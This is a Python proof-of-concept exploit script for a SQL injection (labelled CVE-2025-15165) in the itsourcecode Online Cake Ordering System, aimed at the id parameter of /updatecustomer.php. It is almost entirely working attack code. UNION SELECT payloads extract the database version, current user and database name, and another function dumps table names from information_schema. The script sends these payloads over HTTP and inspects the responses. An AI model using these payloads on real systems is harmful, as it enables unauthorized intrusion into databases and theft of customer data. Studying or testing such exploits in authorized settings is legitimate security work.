#!/usr/bin/env python3
"""
CVE-2025-15165 PoC - itsourcecode Online Cake Ordering System SQL Injection
Target: /updatecustomer.php?action=edit
Parameter: ID
"""
import requests
import sys
def exploit_sql_injection(target_url, param_id):
"""
SQL Injection exploit for CVE-2025-15165
Extracts database version and current user
"""
# SQL Injection payload to extract database version
payload = f"{param_id}' UNION SELECT NULL,version(),user(),database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
target = f"{target_url}/updatecustomer.php?action=edit&id={payload}"
print(f"[*] Target: {target}")
print(f"[*] Sending malicious request...")
try:
response = requests.get(target, timeout=30)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"[*] Check response for database information")
print(f"[*] Response length: {len(response.text)} bytes")
# Check for SQL error messages
if 'SQL' in response.text or 'error' in response.text.lower():
print(f"[!] Potential SQL error detected in response")
return response.text
else:
print(f"[-] Request failed with status code: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return None
def extract_tables(target_url, param_id):
"""
Extract table names from database using UNION injection
"""
# Payload to extract all table names from information_schema
payload = f"{param_id}' UNION SELECT NULL,table_name,table_schema,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -"
target = f"{target_url}/updatecustomer.php?action=edit&id={payload}"
print(f"[*] Extracting table names...")
try:
response = requests.get(target, timeout=30)
return response.text
except:
return None
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 cve-2025-15165.py <target_url>")
print("Example: python3 cve-2025-15165.py http://target.com/cakeshop")
sys.exit(1)
target_url = sys.argv[1].rstrip('/')
param_id = "1"
print("=" * 60)
print("CVE-2025-15165 SQL Injection PoC")
print("Target: itsourcecode Online Cake Ordering System 1.0")
print("=" * 60)
exploit_sql_injection(target_url, param_id)